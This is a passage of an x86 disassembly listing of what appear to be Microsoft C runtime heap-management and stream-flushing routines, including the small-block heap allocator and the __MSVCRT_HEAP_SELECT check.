loc_41DACF: ; CODE XREF: sub_41DA72+45j
push edi
call sub_4238A2
pop ecx
push eax
nop
call near ptr 2690934h
test eax, eax
jnz short loc_41DAEB
nop
call near ptr 26B0857h
mov ebp, eax
jmp short loc_41DAED
; ---------------------------------------------------------------------------
loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj
; sub_41DA72+5Bj ...
xor ebp, ebp
loc_41DAED: ; CODE XREF: sub_41DA72+77j
push edi
call sub_423828
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41DB08
push ebp
call sub_4203DF
pop ecx
jmp short loc_41DB1D
; ---------------------------------------------------------------------------
loc_41DB08: ; CODE XREF: sub_41DA72+8Bj
xor eax, eax
jmp short loc_41DB20
; ---------------------------------------------------------------------------
loc_41DB0C: ; CODE XREF: sub_41DA72+Ej
; sub_41DA72+2Fj
and dword_4DB95C, 0
mov dword_4DB958, 9
loc_41DB1D: ; CODE XREF: sub_41DA72+94j
or eax, 0FFFFFFFFh
loc_41DB20: ; CODE XREF: sub_41DA72+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41DA72 endp
; =============== S U B R O U T I N E =======================================
sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41DB4E
test al, 8
jz short loc_41DB4E
push dword ptr [esi+8]
call sub_41B0B1
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41DB4E: ; CODE XREF: sub_41DB25+Aj
; sub_41DB25+Ej
pop esi
retn
sub_41DB25 endp
; =============== S U B R O U T I N E =======================================
sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp
; sub_41DBF0+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41DB62
push esi
call sub_41DBF0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DB62: ; CODE XREF: sub_41DB50+7j
push esi
call sub_41DB8B
test eax, eax
pop ecx
jz short loc_41DB72
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DB72: ; CODE XREF: sub_41DB50+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41DB87
push dword ptr [esi+10h]
call sub_4238DF
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41DB87: ; CODE XREF: sub_41DB50+26j
xor eax, eax
pop esi
retn
sub_41DB50 endp
; =============== S U B R O U T I N E =======================================
sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap
; ___:0041D223p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41DBD8
test ax, 108h
jz short loc_41DBD8
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41DBD8
push edi
push eax
push dword ptr [esi+10h]
call sub_42291D
add esp, 0Ch
cmp eax, edi
jnz short loc_41DBD1
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41DBD8
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41DBD8
; ---------------------------------------------------------------------------
loc_41DBD1: ; CODE XREF: sub_41DB8B+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41DBD8: ; CODE XREF: sub_41DB8B+14j
; sub_41DB8B+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41DB8B endp
; =============== S U B R O U T I N E =======================================
sub_41DBE7 proc near ; CODE XREF: sub_4239DBp
push 1
call sub_41DBF0
pop ecx
retn
sub_41DBE7 endp
; =============== S U B R O U T I N E =======================================
sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap
; sub_41DBE7+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_4DCC80, esi
jle short loc_41DC4E
loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj
mov eax, dword_4DBC78
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41DC45
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41DC45
cmp [esp+0Ch+arg_0], 1
jnz short loc_41DC2B
push eax
call sub_41DB50
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DC45
inc ebx
jmp short loc_41DC45
; ---------------------------------------------------------------------------
loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41DC45
test cl, 2
jz short loc_41DC45
push eax
call sub_41DB50
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41DC45
or edi, eax
loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj
; sub_41DBF0+23j ...
inc esi
cmp esi, dword_4DCC80
jl short loc_41DC01
loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41DC59
mov eax, edi
loc_41DC59: ; CODE XREF: sub_41DBF0+65j
pop edi
pop esi
pop ebx
retn
sub_41DBF0 endp
; =============== S U B R O U T I N E =======================================
sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
nop
call near ptr 26B0E4Bh
cmp word ptr [eax], 5A4Dh
jnz short loc_41DC88
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41DC88
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41DC88: ; CODE XREF: sub_41DC5D+15j
; sub_41DC5D+1Cj
pop esi
retn
sub_41DC5D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_41BB20
lea eax, [ebp-98h]
push ebx
push eax
mov dword ptr [ebp-98h], 94h
nop
call near ptr 270055Dh
test eax, eax
jz short loc_41DCCD
cmp dword ptr [ebp-88h], 2
jnz short loc_41DCCD
cmp dword ptr [ebp-94h], 5
jb short loc_41DCCD
push 1
pop eax
jmp loc_41DDCF
; ---------------------------------------------------------------------------
loc_41DCCD: ; CODE XREF: ___:0041DCB1j
; ___:0041DCBAj ...
lea eax, [ebp-122Ch]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
nop
call near ptr 28E0000h
test eax, eax
jz loc_41DDBC
xor ebx, ebx
lea ecx, [ebp-122Ch]
cmp [ebp-122Ch], bl
jz short loc_41DD0F
loc_41DCFC: ; CODE XREF: ___:0041DD0Dj
mov al, [ecx]
cmp al, 61h
jl short loc_41DD0A
cmp al, 7Ah
jg short loc_41DD0A
sub al, 20h
mov [ecx], al
loc_41DD0A: ; CODE XREF: ___:0041DD00j
; ___:0041DD04j
inc ecx
cmp [ecx], bl
jnz short loc_41DCFC
loc_41DD0F: ; CODE XREF: ___:0041DCFAj
lea eax, [ebp-122Ch]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_41BE70
add esp, 0Ch
test eax, eax
jnz short loc_41DD31
lea eax, [ebp-122Ch]
jmp short loc_41DD7A
; ---------------------------------------------------------------------------
loc_41DD31: ; CODE XREF: ___:0041DD27j
lea eax, [ebp-19Ch]
push 104h
push eax
push ebx
nop
call near ptr 26A0000h
cmp [ebp-19Ch], bl
lea ecx, [ebp-19Ch]
jz short loc_41DD65
loc_41DD52: ; CODE XREF: ___:0041DD63j
mov al, [ecx]
cmp al, 61h
jl short loc_41DD60
cmp al, 7Ah
jg short loc_41DD60
sub al, 20h
mov [ecx], al
loc_41DD60: ; CODE XREF: ___:0041DD56j
; ___:0041DD5Aj
inc ecx
cmp [ecx], bl
jnz short loc_41DD52
loc_41DD65: ; CODE XREF: ___:0041DD50j
lea eax, [ebp-19Ch]
push eax
lea eax, [ebp-122Ch]
push eax
call sub_41B900
pop ecx
pop ecx
loc_41DD7A: ; CODE XREF: ___:0041DD2Fj
cmp eax, ebx
jz short loc_41DDBC
push 2Ch
push eax
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41DDBC
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41DDA1
loc_41DD93: ; CODE XREF: ___:0041DD9Fj
cmp byte ptr [ecx], 3Bh
jnz short loc_41DD9C
mov [ecx], bl
jmp short loc_41DD9D
; ---------------------------------------------------------------------------
loc_41DD9C: ; CODE XREF: ___:0041DD96j
inc ecx
loc_41DD9D: ; CODE XREF: ___:0041DD9Aj
cmp [ecx], bl
jnz short loc_41DD93
loc_41DDA1: ; CODE XREF: ___:0041DD91j
push 0Ah
push ebx
push eax
call sub_41BBA6
add esp, 0Ch
cmp eax, 2
jz short loc_41DDCF
cmp eax, 3
jz short loc_41DDCF
cmp eax, 1
jz short loc_41DDCF
loc_41DDBC: ; CODE XREF: ___:0041DCE6j
; ___:0041DD7Cj ...
lea eax, [ebp-4]
push eax
call sub_41DC5D
cmp byte ptr [ebp-4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41DDCF: ; CODE XREF: ___:0041DCC8j
; ___:0041DDB0j ...
pop ebx
leave
retn
; ---------------------------------------------------------------------------
dw 0C033h
dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 24D2218h
dd 0A3C08590h, 4DCFE4h, 93E83674h, 83FFFFFEh, 0E8A303F8h
dd 75004DCFh, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh
dd 0E8187502h, 0B5Eh, 0F75C085h, 0CFE435FFh, 0E890004Dh
dd 24C3075h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DCFE4h
dd 21BEE890h, 0C085023Ch, 4DCFDCA3h, 0C3017500h, 4244C8Bh
dd 0CFD42583h, 8300004Dh, 4DCFD825h, 16A0000h, 4DCFD0A3h
dd 0E00D8900h, 0C7004DCFh, 4DCFC805h, 1000h
db 0, 58h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p
; sub_41B202+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_4DCFD8
lea ecx, [eax+eax*4]
mov eax, dword_4DCFDC
lea ecx, [eax+ecx*4]
loc_41DE87: ; CODE XREF: sub_41DE77+26j
cmp eax, ecx
jnb short loc_41DE9F
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41DEA1
add eax, 14h
jmp short loc_41DE87
; ---------------------------------------------------------------------------
loc_41DE9F: ; CODE XREF: sub_41DE77+12j
xor eax, eax
locret_41DEA1: ; CODE XREF: sub_41DE77+21j
retn
sub_41DE77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p
; sub_41B202+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41E1C6
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41DF78
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41DF06
push 3Fh
pop edx
loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41DF5A
cmp edx, 20h
jnb short loc_41DF31
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41DF52
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41DF52
; ---------------------------------------------------------------------------
loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41DF52
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41DF52: ; CODE XREF: sub_41DEA2+86j
; sub_41DEA2+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41DF5D
; ---------------------------------------------------------------------------
loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj
mov ecx, [ebp+var_4]
loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41DF78: ; CODE XREF: sub_41DEA2+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41DF86
push 3Fh
pop edx
loc_41DF86: ; CODE XREF: sub_41DEA2+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41E029
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41DFAB
mov ebx, esi
loc_41DFAB: ; CODE XREF: sub_41DEA2+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41DFBD
mov edx, esi
loc_41DFBD: ; CODE XREF: sub_41DEA2+117j
cmp ebx, edx
jz short loc_41E024
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41E00C
cmp ebx, 20h
jnb short loc_41DFED
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E00C
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41E00C
; ---------------------------------------------------------------------------
loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E00C
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41E00C: ; CODE XREF: sub_41DEA2+128j
; sub_41DEA2+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41E024: ; CODE XREF: sub_41DEA2+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41E02C
; ---------------------------------------------------------------------------
loc_41E029: ; CODE XREF: sub_41DEA2+EDj
mov ebx, [ebp+arg_0]
loc_41E02C: ; CODE XREF: sub_41DEA2+185j
cmp [ebp+var_C], 0
jnz short loc_41E03A
cmp ebx, edx
jz loc_41E0BB
loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41E0BB
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41E092
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E081
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E081: ; CODE XREF: sub_41DEA2+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41E0BB
; ---------------------------------------------------------------------------
loc_41E092: ; CODE XREF: sub_41DEA2+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E0A8
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41E0BB: ; CODE XREF: sub_41DEA2+192j
; sub_41DEA2+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41E1C6
mov eax, dword_4DCFD4
test eax, eax
jz loc_41E1B8
mov ecx, dword_4DCFCC
mov esi, dword_4271C0
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi
mov ecx, dword_4DCFCC
mov eax, dword_4DCFD4
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_4DCFD4
mov ecx, dword_4DCFCC
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_4DCFD4
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_4DCFD4
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E149
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_4DCFD4
loc_41E149: ; CODE XREF: sub_41DEA2+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41E1B8
push ebx
push 0
push dword ptr [eax+0Ch]
call esi
mov eax, dword_4DCFD4
push dword ptr [eax+10h]
push 0
push dword_4DCFE4
nop
call near ptr 27D0000h
mov eax, dword_4DCFD8
mov edx, dword_4DCFDC
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_4DCFD4
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41CC90
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4DCFD8
cmp eax, dword_4DCFD4
jbe short loc_41E1AE
sub [ebp+arg_0], 14h
loc_41E1AE: ; CODE XREF: sub_41DEA2+306j
mov eax, dword_4DCFDC
mov dword_4DCFD0, eax
loc_41E1B8: ; CODE XREF: sub_41DEA2+234j
; sub_41DEA2+2ABj
mov eax, [ebp+arg_0]
mov dword_4DCFCC, edi
mov dword_4DCFD4, eax
loc_41E1C6: ; CODE XREF: sub_41DEA2+38j
; sub_41DEA2+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41DEA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E1CB proc near ; CODE XREF: sub_41B202+77p
; sub_41B513+18p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4DCFD8
mov edx, dword_4DCFDC
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41E20B
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41E21B
; ---------------------------------------------------------------------------
loc_41E20B: ; CODE XREF: sub_41E1CB+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej
mov eax, dword_4DCFD0
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41E242
loc_41E229: ; CODE XREF: sub_41E1CB+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E242
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41E229
loc_41E242: ; CODE XREF: sub_41E1CB+5Cj
; sub_41E1CB+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41E2C0
mov ebx, edx
loc_41E249: ; CODE XREF: sub_41E1CB+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E265
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E263
add ebx, 14h
jmp short loc_41E249
; ---------------------------------------------------------------------------
loc_41E263: ; CODE XREF: sub_41E1CB+91j
cmp ebx, eax
loc_41E265: ; CODE XREF: sub_41E1CB+83j
jnz short loc_41E2C0
loc_41E267: ; CODE XREF: sub_41E1CB+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41E27D
cmp dword ptr [ebx+8], 0
jnz short loc_41E27A
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41E267
; ---------------------------------------------------------------------------
loc_41E27A: ; CODE XREF: sub_41E1CB+A5j
cmp ebx, [ebp+var_4]
loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj
jnz short loc_41E2A5
mov ebx, edx
loc_41E281: ; CODE XREF: sub_41E1CB+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E295
cmp dword ptr [ebx+8], 0
jnz short loc_41E293
add ebx, 14h
jmp short loc_41E281
; ---------------------------------------------------------------------------
loc_41E293: ; CODE XREF: sub_41E1CB+C1j
cmp ebx, eax
loc_41E295: ; CODE XREF: sub_41E1CB+BBj
jnz short loc_41E2A5
call sub_41E4D4
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41E2B9
loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj
; sub_41E1CB:loc_41E295j
push ebx
call sub_41E585
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41E2C0
loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j
xor eax, eax
jmp loc_41E4CF
; ---------------------------------------------------------------------------
loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj
; sub_41E1CB:loc_41E265j ...
mov dword_4DCFD0, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41E2E7
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E31E
loc_41E2E7: ; CODE XREF: sub_41E1CB+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41E31B
loc_41E304: ; CODE XREF: sub_41E1CB+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41E304
loc_41E31B: ; CODE XREF: sub_41E1CB+137j
mov edx, [ebp+var_4]
loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41E347
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41E347: ; CODE XREF: sub_41E1CB+16Dj
; sub_41E1CB+183j
test ecx, ecx
jl short loc_41E350
shl ecx, 1
inc edi
jmp short loc_41E347
; ---------------------------------------------------------------------------
loc_41E350: ; CODE XREF: sub_41E1CB+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41E36D
push 3Fh
pop esi
loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj
cmp esi, edi
jz loc_41E482
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E3DE
cmp edi, 20h
jge short loc_41E3AD
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41E3DB
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41E3DE
; ---------------------------------------------------------------------------
loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41E3DB
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41E3DE
; ---------------------------------------------------------------------------
loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j
; sub_41E1CB+203j
mov ebx, [ebp+arg_0]
loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j
; sub_41E1CB+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41E48E
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E47F
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41E450
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41E43E
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41E43E: ; CODE XREF: sub_41E1CB+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41E47F
; ---------------------------------------------------------------------------
loc_41E450: ; CODE XREF: sub_41E1CB+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41E469
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41E469: ; CODE XREF: sub_41E1CB+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej
; sub_41E1CB+283j
mov ecx, [ebp+var_8]
loc_41E482: ; CODE XREF: sub_41E1CB+1A4j
test ecx, ecx
jz short loc_41E491
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41E491
; ---------------------------------------------------------------------------
loc_41E48E: ; CODE XREF: sub_41E1CB+229j
mov ecx, [ebp+var_8]
loc_41E491: ; CODE XREF: sub_41E1CB+2B9j
; sub_41E1CB+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41E4C7
cmp ebx, dword_4DCFD4
jnz short loc_41E4C7
mov ecx, [ebp+var_4]
cmp ecx, dword_4DCFCC
jnz short loc_41E4C7
and dword_4DCFD4, 0
loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j
; sub_41E1CB+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41E1CB endp
; =============== S U B R O U T I N E =======================================
sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp
mov eax, dword_4DCFD8
mov ecx, dword_4DCFC8
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41E517
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_4DCFDC
push edi
push dword_4DCFE4
call near ptr 2890000h
nop
cmp eax, edi
jz short loc_41E567
add dword_4DCFC8, 10h
mov dword_4DCFDC, eax
mov eax, dword_4DCFD8
loc_41E517: ; CODE XREF: sub_41E4D4+11j
mov ecx, dword_4DCFDC
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_4DCFE4
lea esi, [ecx+eax*4]
call near ptr 27E0000h
nop
